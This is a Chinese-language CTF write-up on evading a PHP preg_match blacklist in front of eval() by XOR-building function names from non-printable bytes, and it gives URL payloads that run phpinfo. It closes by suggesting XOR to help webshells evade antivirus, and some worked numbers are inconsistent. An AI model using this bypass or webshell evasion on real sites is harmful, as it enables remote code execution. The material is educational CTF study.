在圈子中看到了有表哥發變態CTF中preg_match繞過的姿勢,並沒有寫繞過的具體原理及方法,本著學習的態度,查了查資料簡單復現了一下。
0x00 題目原型是這樣的
測試環境
php7.0.12
apache5.3
<?php
highlight_file(__FILE__);
if(!preg_match('/[0-9,.$&|{_defogps]/is',$_GET['shell'])){
eval($_GET['shell']);
}?>
簡單理解shell參數接收時不允許包含以下字符串"0123456789,.$&|{_defogps]",最終的目的是要到eval()函數中去執行任意代碼,這題也就是考研我們如何繞過這個preg_match。
通過表哥給的姿勢是這樣的
http://127.0.0.1/1.php?shell=(%27%01%00%01%00%00%04%01%27^%27qhqinbn%27)();
標紅的部分是payload
最終結果
簡單來說將特殊字符通過異或的方式重組了phpinfo();,當然這也得益於php語義的靈活性。下面看看如何構造payload。
0x01 原理
什麼是按位異或,異或本質是二進位運算
1001
0101
----
1100
對應二進位位相異(不相同)時,結果為1,否則為0.
舉例: 比如9^5,其實就是1001^ 0101 = 1,因此9^5=1100=12
在php中,abc^def,會產生一個新的字符串,比較方式是:a的ascii碼和d的ascii碼進行二進位異或操作,生成新的二進位,然後轉換為ascii,進而生成新的異或結果。所以,異或會產生新的字符串,上面表哥給的payload就是基於這樣的方式生成出來的。
0x02 生成有效的異或字符
1、先過濾出未被程序過濾的字符的ASCII碼
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,37,39,40,41,42,43,45,47,58,59,60,61,62,63,64,65,66,67,72,73,74,75,76,77,78,81,82,84,85,86,87,88,89,90,91,92,93,94,96,97,98,99,104,105,106,107,108,109,110,113,114,116,..後面省略了
2、使用python腳本過濾有效的字符
通過以上呢可以有效的獲取到phpinfo異或後的組合,可以看到有很多
隨便挑一個就行了
10^69=p
11^79=h
10^69=p
10^79=i
16^78=n
11^77=f
16^79=o
最後換成url格式
%27%10%11%10%10%16%11%16%27^%27%60y%60yxwy%27;
成功執行
總結
異或除了繞過以外,還可以免殺自己的webshell哦。
如果對你有幫助,請關注,轉發哦~~